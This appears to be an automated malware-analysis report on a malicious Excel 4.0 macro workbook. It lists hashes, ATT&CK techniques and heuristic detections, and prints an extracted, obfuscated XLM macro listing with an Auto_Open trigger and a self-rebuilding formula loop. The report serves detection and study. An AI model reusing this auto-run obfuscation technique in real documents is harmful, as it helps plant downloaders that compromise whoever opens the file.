Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62bfcfccce59854a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:43 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 2a8ad569d0f6d94fb0f51fb3ff2091df SHA-1: 8fe2a7382f5ac76ee393cfa4c6fd09342ab9e8e8 SHA-256: 62bfcfccce59854a16e8817060b75c86977c900043958a9eebeeb9bf51877579
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel 4.0 macro-enabled document. Heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This strongly suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6711 bytes
SHA-256: 963fb6372f4ad378e0da0578f30c5de21cf476049f62f9de455c0b08b04e4c42
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  keFeUNKAhs
' 0018     21 LABEL : Cell Value, String Constant - aslbas len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B189 
' 0018     25 LABEL : Cell Value, String Constant - bluxBhTRfr len=0 
' 0018     22 LABEL : Cell Value, String Constant - BTDLmFf len=0 
' 0018     24 LABEL : Cell Value, String Constant - CYbwZaAEa len=0 
' 0018     24 LABEL : Cell Value, String Constant - fIsvjstMC len=0 
' 0018     21 LABEL : Cell Value, String Constant - hdxoaP len=0 
' 0018     20 LABEL : Cell Value, String Constant - nTJur len=0 
' 0018     22 LABEL : Cell Value, String Constant - NZnOmAi len=0 
' 0018     26 LABEL : Cell Value, String Constant - PFXzyeUFXdJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - puvIrJuPT len=0 
' 0018     26 LABEL : Cell Value, String Constant - QpMaQlzgiDN len=0 
' 0018     26 LABEL : Cell Value, String Constant - SqnbbVkiueW len=0 
' 0018     21 LABEL : Cell Value, String Constant - TJrmNa len=0 
' 0018     27 LABEL : Cell Value, String Constant - tkUVCgDbjJPc len=0 
' 0018     23 LABEL : Cell Value, String Constant - uLjyFQkA len=0 
' 0018     25 LABEL : Cell Value, String Constant - vKHtmHLvow len=0 
' 0018     27 LABEL : Cell Value, String Constant - wGNDuMCDplVb len=0 
' 0018     27 LABEL : Cell Value, String Constant - XsfWAtnRRyVH len=0 
' 0018     22 LABEL : Cell Value, String Constant - YLihmyS len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZUAZjKWt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  keFeUNKAhs,B100,"SET.NAME("tkUVCgDbjJPc",VALUE("0"))",""
'  keFeUNKAhs,B104,"SET.NAME("PFXzyeUFXdJ",tkUVCgDbjJPc)",""
'  keFeUNKAhs,B107,"SET.NAME("vKHtmHLvow",tkUVCgDbjJPc)",""
'  keFeUNKAhs,B110,"SET.NAME("BTDLmFf",COUNTA(aslbas))",""
'  keFeUNKAhs,B112,"SET.NAME("fIsvjstMC",COUNTA(XsfWAtnRRyVH))",""
'  keFeUNKAhs,B117,[],""
'  keFeUNKAhs,B120,"SET.NAME("ZUAZjKWt","")",""
'  keFeUNKAhs,B124,"PFXzyeUFXdJ",""
'  keFeUNKAhs,B127,"SET.NAME("YLihmyS",HLOOKUP("*",aslbas,PFXzyeUFXdJ,FALSE))",""
'  keFeUNKAhs,B131,"puvIrJuPT",""
'  keFeUNKAhs,B133,"SET.NAME("wGNDuMCDplVb",tkUVCgDbjJPc)",""
'  keFeUNKAhs,B137,[],""
'  keFeUNKAhs,B139,"wGNDuMCDplVb",""
'  keFeUNKAhs,B143,"uLjyFQkA",""
'  keFeUNKAhs,B147,"hdxoaP",""
'  keFeUNKAhs,B151,"SqnbbVkiueW",""
'  keFeUNKAhs,B153,"SET.NAME("QpMaQlzgiDN",VALUE(HLOOKUP("*",XsfWAtnRRyVH,SqnbbVkiueW,FALSE)))",""
'  keFeUNKAhs,B156,"bluxBhTRfr",""
'  keFeUNKAhs,B159,"ZUAZjKWt",""
'  keFeUNKAhs,B161,"vKHtmHLvow",""
'  keFeUNKAhs,B164,NEXT(),""
'  keFeUNKAhs,B168,"CYbwZaAEa",""
'  keFeUNKAhs,B172,"SET.NAME("f",INT(T(FORMULA(T(ZUAZjKWt)&"",""&T(CYbwZaAEa)))))",""
'  keFeUNKAhs,B175,"NZnOmAi",""
'  keFeUNKAhs,B179,NEXT(),""
'  keFeUNKAhs,B184,RETURN(),""
'  keFeUNKAhs,B216,"SET.NAME("TJrmNa",B100)",""
'  keFeUNKAhs,B220,"aslbas",""
'  keFeUNKAhs,B223,"SET.NAME("XsfWAtnRRyVH",R76C14)",""
'  keFeUNKAhs,B226,"SET.NAME("NZnOmAi",234)",""
'  keFeUNKAhs,B230,"SET.NAME("nTJur",2)",""
'  keFeUNKAhs,B233,TJrmNa(),""
'  keFeUNKAhs,B234,HALT(),""

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